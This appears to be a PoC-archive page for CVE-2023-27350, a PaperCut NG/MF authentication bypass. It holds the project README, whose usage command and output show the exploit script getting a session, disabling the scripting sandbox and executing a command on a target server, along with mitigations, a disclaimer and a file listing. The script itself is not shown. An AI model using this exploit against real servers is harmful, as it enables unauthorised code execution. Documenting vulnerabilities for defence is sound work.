CVE-2023-27350 PoC — PaperCut NG 访问控制错误漏洞

Source

https://github.com/Royall-Researchers/CVE-2023-27350

Associated Vulnerability

Title:PaperCut NG 访问控制错误漏洞 (CVE-2023-27350)
Description:PaperCut NG是澳大利亚PaperCut公司的一套下一代打印机控制软件。 PaperCut NG 22.0.5版本存在访问控制错误漏洞，该漏洞源于访问控制不当，攻击者利用该漏洞可以绕过身份验证并在系统上下文中执行任意代码。

Description

Papercut Vulnerability, Affected Versions are PaperCut MF or NG version 8.0 or later (excluding patched versions) on all OS platforms.

Readme

# CVE-2023-27350
POC for CVE-2023-27350 affecting PaperCut MF/NG

##Affected Versions 'PaperCut MF or NG version 8.0 or later (excluding patched versions) on all OS platforms.'

## Summary
This POC uses an authentication bypass vulnerability chained with abuse of builtin scripting functionality to execute code.

## Usage
```plaintext
python3 CVE-2023-27350.py --url 'http://10.0.40.56:9191' --command calc.exe
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y
```

## Mitigations
Update to the latest version or mitigate by following the instructions within the PaperCut Security Advisory
* https://www.papercut.com/kb/Main/PO-1216-and-PO-1219

## Disclaimer
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

File Snapshot


 [4.0K]  /data/pocs/38da106e23ef55586ab1ce9a1cdd28d422e3a062
├── [3.8K]  CVE-2023-27350.py
└── [1.2K]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!